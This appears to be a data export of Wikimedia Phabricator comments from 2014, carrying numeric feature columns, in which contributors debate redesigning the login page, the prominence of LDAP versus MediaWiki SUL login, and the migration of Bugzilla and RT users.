It does not belong to this bug, maybe to one of the mw.org pages?",,,1415500884,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,2.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,12.0,1.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,9.0,3.0,4.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.7,0.7444444444444445,"It just a couple CSS changes (and I think I have reordered two divs).

But my question from T1156 remains:

* How are we going to migrate users?

* What is the migration path for Bugzilla (possibly Bugzilla-only) users?
 - claiming of an account created by the migration process
 - create new account using bugzilla email address?

It does not belong to this bug, maybe to one of the mw.org pages?"
5220,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"It just a couple CSS changes (and I think I have reordered two divs).

But my question from T1156 remains:

* How are we going to migrate users?

* What are migration path for Bugzilla (possibly Bugzilla-only) users?
 - claiming of an account create by the migration process
 - create new account using bugzilla email address?

It does not belong to this bug, maybe to one of the mw.org pages?",,,1415500663,,PHID-USER-qduasitr62ffvc5eiivd,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,12.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,9.0,3.0,4.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.707865168539326,0.7303370786516854,"It just a couple CSS changes (and I think I have reordered two divs).

But my question from T1156 remains:

* How are we going to migrate users?

* What are migration path for Bugzilla (possibly Bugzilla-only) users?
 - claiming of an account create by the migration process
 - create new account using bugzilla email address?

It does not belong to this bug, maybe to one of the mw.org pages?"
5192,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@saper, thank you very much for your ideas and your mockup in T1156. Please have a look at the discussion above and to the specific subtasks and feed your ideas in. F721 is interesting because it uses Phabricator UI elements and, therefore, provides a possible plan for shorter-term implementation (that still would require us to extend or patch Phabricator locally).

{F721}

We keep working as fast as we can with the Bugzilla migration blocking tasks. We have decided that this is not a blocker, but is at the top of the #Phabricator priorities, and I expect us to start working on it as soon as @mmodell is liberated from migration specific tasks. How far can we go with short term improvements, we still don't know.",,,1415438326,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-34,True,0.5,0.0,0.5,0.5,1.5,3.5,2.0,0.5,0.0,0.0,3.5,0.5,0.0,0.0,0.0,5.5,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.5,0.0,7.0,2.0,1.0,0.0,2.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.5,10.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,2.5,8.0,2.0,4.0,5.5,0.0,0.0,0.0,0.5,4.5,0.5,1.0,0.0,8.5,10.0,2.5,0.0,0.0,0.0,8.5,0.0,1.0,1.5,1.0,1.5,0.5,0.0,0.0,4.1506849315068495,0.7602739726027397,"SCREEN_NAME, thank you very much for your ideas and your mockup in T1156. Please have a look at the discussion above and to the specific subtasks and feed your ideas in. F721 is interesting because it uses Phabricator UI elements and, therefore, provides a possible plan for shorter-term implementation (that still would require us to extend or patch Phabricator locally).

{F721}

We keep working as fast as we can with the Bugzilla migration blocking tasks. We have decided that this is not a blocker, but is at the top of the #Phabricator priorities, and I expect us to start working on it as soon asSCREEN_NAME is liberated from migration specific tasks. How far can we go with short term improvements, we still don't know."
4463,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.

* Bugzilla's registration process is [[ https://bugzilla.wikimedia.org/createaccount.cgi | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
* [[ https://rt.wikimedia.org/ | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and they need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit account if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.

Therefore, I dare to say that even the current Phabricator login page with all its usability flaws represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.

Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain parts of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.

We have three parallel paths of potential progress:

* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)

Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable.",,,1414571086,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1.2,0.8,0.4,0.6,0.4,9.0,1.4,0.0,0.0,0.6,1.0,0.2,0.2,0.2,0.0,1.2,0.2,7.2,11.0,0.8,2.0,0.0,0.0,0.2,0.6,1.2,0.0,0.6,0.4,0.2,0.2,6.6,0.8,0.8,1.2,1.2,0.0,0.2,0.0,1.2,0.0,0.2,0.6,3.2,0.0,0.6,0.0,0.6,0.2,12.2,0.6,1.2,0.0,1.6,0.0,0.0,0.2,0.0,2.0,0.0,0.4,0.2,0.0,0.0,0.0,0.6,0.4,5.2,3.2,10.4,2.6,4.8,7.6,0.0,0.0,0.0,0.0,4.0,0.0,0.6,0.0,3.4,11.0,7.0,0.0,0.0,0.0,3.4,0.0,2.2,1.2,0.2,1.4,0.8,0.0,0.6,4.303153988868274,0.705916305916306,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.

* Bugzilla's registration process is [[ URL | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
* [[ URL | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and they need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit account if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.

Therefore, I dare to say that even the current Phabricator login page with all its usability flaws represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.

Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain parts of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.

We have three parallel paths of potential progress:

* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)

Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable."
4462,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.

* Bugzilla's registration process is [[ https://bugzilla.wikimedia.org/createaccount.cgi | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
* [[ https://rt.wikimedia.org/ | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and tey need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit accout if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.

Therefore, I dare to say that even the current Phabricator login page with all its usability flows represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.

Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain part of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.

We have three parallel paths of potential progress:

* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)

Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable.",,,1414570957,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1.2,0.8,0.4,0.6,0.4,9.0,1.4,0.0,0.0,0.6,1.0,0.2,0.2,0.2,0.0,1.2,0.2,7.2,11.0,0.8,2.0,0.0,0.0,0.2,0.6,1.2,0.0,0.6,0.4,0.2,0.2,6.6,0.8,0.8,1.2,1.2,0.0,0.2,0.0,1.2,0.0,0.0,0.6,3.2,0.0,0.6,0.0,0.6,0.2,12.4,0.6,1.2,0.0,1.6,0.0,0.0,0.2,0.0,2.0,0.0,0.4,0.2,0.0,0.0,0.0,0.6,0.4,5.2,3.2,10.4,2.6,4.8,7.6,0.0,0.0,0.0,0.0,4.0,0.0,0.6,0.0,3.2,11.0,7.0,0.0,0.0,0.0,3.2,0.0,2.2,1.2,0.2,1.4,0.8,0.0,0.6,4.29707276850134,0.7079365079365079,"The Phabricator launch focuses on the Bugzilla and RT migrations, and we pay especial attention to regressions.

* Bugzilla's registration process is [[ URL | indeed simple ]] if you understand the small prints: you are giving away your privacy by sharing your email address with all registered users. Wikimedia SUL is heaven compared to this, and a very old request of Bugzilla users.
* [[ URL | RT registration process ]] is so simple and so complex at the same time that only a handful of Wikimedia users really understand how it works.
* Both Bugzilla and RT accounts are local (small prints probably apply for the RT case, I don't even know for sure), and tey need to be created in addition to mediawiki.org account and Wikitech/Labs/Gerrit accout if you want to do any serious technical work. Compared to this scenario, now we have two instead of four accounts: the Wikimedia SUL all of us have, and an optional LDAP backup that anybody can use even if the whole centralauth sites are down.

Therefore, I dare to say that even the current Phabricator login page with all its usability flows represent a huge functional improvement over the current situation with Bugzilla and RT (and Trello and Mingle, needless to say). Progress is progress.

Now, when it comes to tackle the usability problems, it is good that any ideas proposed take into account the fact that Phabricator is a tool that comes with certain features and behavior out of the box, and any improvement needs to be developed (which takes resources), and then either upstreamed (more resources) or maintained locally (more resources). This is why anybody interested in improving the current situation will have more chances of quick success by proposing simple modular improvements rather than a total rewrite. This is exactly the same situation that applies to anybody willing to improve certain part of MediaWiki: understand how things work now and why, and propose evolutionary improvements easy to agree upon and to implement.

We have three parallel paths of potential progress:

* Improve the text of the login page (very easy to implement, after agreeing on the text, T545)
* Make the Wikimedia SUL login more prominent than the LDAP login (T963)
* Bonus point: introduce Wikimedia branding in the header (something that Bugzilla and RT never had, T69)

Your help is welcome contributing to these tasks with solutions that can be implemented fast and be either configurable, upstreameable, or easily maintained locally. Not easy, but probably doable."
4454,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"MZ, if you think this must be done before migration it seems you'd need to add it to blockers of T174.",,,1414568497,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,8.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,17.0,21.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.875,"MZ, if you think this must be done before migration it seems you'd need to add it to blockers of T174."
4431,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,">>! In T862#16371, @Qgil wrote:
> @Jaredzimmerman-WMF, first we need to launch Phabricator at a level that satisfies our current Bugzilla and RT users. Developers and their managers are waiting.

I'm quite annoyed at the comments that suggest that there's a rush here. People are waiting for what, exactly? Bugzilla has served us for a decade. We will take our time and do any type of migration properly rather than pretending as though the arbitrary erected timelines are anything more than mere guesstimates.

Let me be clear: there is to be nobody involved in this migration process who would rather hastily push through one of the largest changes to Wikimedia's development ecosystem over taking the time necessary to act judiciously.

> Maybe we can improve the login page around the launch through steps simple to implement. We simply cannot implement your proposal without postponing the launch date by several days, and this doesn't even tackle the question of the extra resources that maintaining such local patch would imply.

This is a hostile false dilemma. We will use this task to discuss redesigning the Phabricator login page, which is demonstrably confusing and in need of love.",,,1414549850,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.5,0.5,0.0,0.5,0.0,6.5,2.0,0.0,0.5,0.0,2.0,0.5,0.0,0.0,1.0,3.0,1.0,5.5,11.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.5,12.5,0.5,1.5,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,1.0,0.5,5.0,4.5,7.0,1.0,1.0,8.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,3.0,11.5,2.0,0.5,0.0,0.0,3.0,0.0,2.5,1.5,1.0,2.5,0.5,0.5,0.0,4.405797101449275,0.8333333333333334,"QUOTE
QUOTE

I'm quite annoyed at the comments that suggest that there's a rush here. People are waiting for what, exactly? Bugzilla has served us for a decade. We will take our time and do any type of migration properly rather than pretending as though the arbitrary erected timelines are anything more than mere guesstimates.

Let me be clear: there is to be nobody involved in this migration process who would rather hastily push through one of the largest changes to Wikimedia's development ecosystem over taking the time necessary to act judiciously.

QUOTE

This is a hostile false dilemma. We will use this task to discuss redesigning the Phabricator login page, which is demonstrably confusing and in need of love."
4407,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@Jaredzimmerman-WMF, first we need to launch Phabricator at a level that satisfies our current Bugzilla and RT users. Developers and their managers are waiting. Our current focus is to clean these busy backlogs as soon as possible: [[ https://phabricator.wikimedia.org/project/board/40/ | Bugzilla-Preview ]], [[ https://phabricator.wikimedia.org/project/board/10/ | Bugzilla-Migration ]], [[ https://phabricator.wikimedia.org/project/board/12/ | RT-Migration ]]. And then launch. 

Compared with Bugzilla (leave alone RT), this launch already brings a more inviting experience to non-technical people. Maybe we can improve the login page around the launch through steps simple to implement. We simply cannot implement your proposal without postponing the launch date by several days, and this doesn't even tackle the question of the extra resources that maintaining such local patch would imply.",,,1414534993,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.5,0.0,0.0,0.0,1.5,7.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,3.0,1.5,7.5,8.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.5,0.5,0.0,3.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,15.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,4.5,1.0,12.0,0.5,2.0,6.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,4.0,8.0,6.0,0.0,0.0,0.0,4.0,0.0,0.5,1.0,0.0,2.5,0.5,0.0,3.0,4.120984278879016,0.713174982911825,"SCREEN_NAME-WMF, first we need to launch Phabricator at a level that satisfies our current Bugzilla and RT users. Developers and their managers are waiting. Our current focus is to clean these busy backlogs as soon as possible: [[ URL | Bugzilla-Preview ]], [[ URL | Bugzilla-Migration ]], [[ URL | RT-Migration ]]. And then launch. 

Compared with Bugzilla (leave alone RT), this launch already brings a more inviting experience to non-technical people. Maybe we can improve the login page around the launch through steps simple to implement. We simply cannot implement your proposal without postponing the launch date by several days, and this doesn't even tackle the question of the extra resources that maintaining such local patch would imply."
4394,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,,,,1414529166,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4393,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,,,,1414529160,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
4392,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@aklapper, thanks for the numbers!",,,1414529146,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"SCREEN_NAME, thanks for the numbers!"
4391,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"@qgil this is symptomatic of our projects at large to me, ""why make it simple or easy when people seem to be getting by with what we give them now, as broken as it is"" I don't mean to call you out specifically but I think its been ingrained in our culture to the point that that kind of thinking has become pervasive. I don't think the current flow or design is acceptable, and I'd like to see us prioritize an experience that invites non-technical people to contribute to the project via this tool, both with the words we use and with the interface we expose to them.",,,1414529104,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,1.5,7.5,2.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,7.0,0.0,4.0,12.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.5,3.5,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,2.0,0.5,1.0,0.0,11.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,1.5,0.0,1.0,0.0,4.5,3.0,3.0,1.5,4.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,10.5,12.5,0.0,0.0,1.0,0.0,10.5,0.0,2.5,1.0,2.5,0.5,0.0,0.0,0.0,3.8610655737704915,0.8096994535519126,"SCREEN_NAME this is symptomatic of our projects at large to me, ""why make it simple or easy when people seem to be getting by with what we give them now, as broken as it is"" I don't mean to call you out specifically but I think its been ingrained in our culture to the point that that kind of thinking has become pervasive. I don't think the current flow or design is acceptable, and I'd like to see us prioritize an experience that invites non-technical people to contribute to the project via this tool, both with the words we use and with the interface we expose to them."
4383,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"What I mean is that Phabricator hasn't even announced a launch date, we have already more than 600 users, and people seem to be finding their way through. We have some blockers for the launch, but at this point they are mostly problems related with the migration of Bugzilla / RT data. The login page functionally works, and we can keep improving its usability also after the launch. The changes proposed in M7 are not supported by Phabricator, and therefore we need to either change the plan or allocate significantresources to implement it.",,,1414523534,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.5,0.0,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,3.5,0.0,6.5,9.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.5,1.0,2.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.5,2.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,5.5,2.5,8.0,0.5,5.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,6.5,9.5,3.0,0.0,0.0,0.0,6.5,0.0,0.5,0.5,0.0,1.5,0.5,0.0,0.0,4.371040723981901,0.8734917043740573,"What I mean is that Phabricator hasn't even announced a launch date, we have already more than 600 users, and people seem to be finding their way through. We have some blockers for the launch, but at this point they are mostly problems related with the migration of Bugzilla / RT data. The login page functionally works, and we can keep improving its usability also after the launch. The changes proposed in M7 are not supported by Phabricator, and therefore we need to either change the plan or allocate significantresources to implement it."
4382,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,Active Bugzilla users per month: 2014-06: 509; 2014-07: 501; 2014-08: 515; 2014-09: 475. Total number of Bugzilla accounts today: 19936. Don't have stats for other systems.,,,1414522517,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.127659574468085,0.6595744680851063,Active Bugzilla users per month: 2014-06: 509; 2014-07: 501; 2014-08: 515; 2014-09: 475. Total number of Bugzilla accounts today: 19936. Don't have stats for other systems.
4376,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,600… how many total and active users does Bugzilla+Trello+Mingle+Gerrit have?,,,1414520669,,PHID-USER-z3kqk2bjnqneldcznht6,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,False,,,-36,True,8.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,600… how many total and active users does Bugzilla+Trello+Mingle+Gerrit have?
4314,Redesign Phabricator login page: LDAP login too prominent; position of MediaWiki SUL login not prominent enough,"We have more than 600 users registered by now: https://phabricator.wikimedia.org/people/query/all/

I agree the login page can be improved, but I don't consider it an obstacle for the launch. 

T545 is low-hanging fruit and probably the most efficient way to reduce confusion right now. That text is already customized for Wikimedia, and can be edited without adding any local patch.",,,1414485794,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-35vifryt7kj2fw5nkott,task_subcomment,,True,c3,1,True,,,-36,True,1.0,0.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,11.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,6.0,10.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,3.9714285714285715,0.8142857142857143,"We have more than 600 users registered by now: URL

I agree the login page can be improved, but I don't consider it an obstacle for the launch. 

T545 is low-hanging fruit and probably the most efficient way to reduce confusion right now. That text is already customized for Wikimedia, and can be edited without adding any local patch."
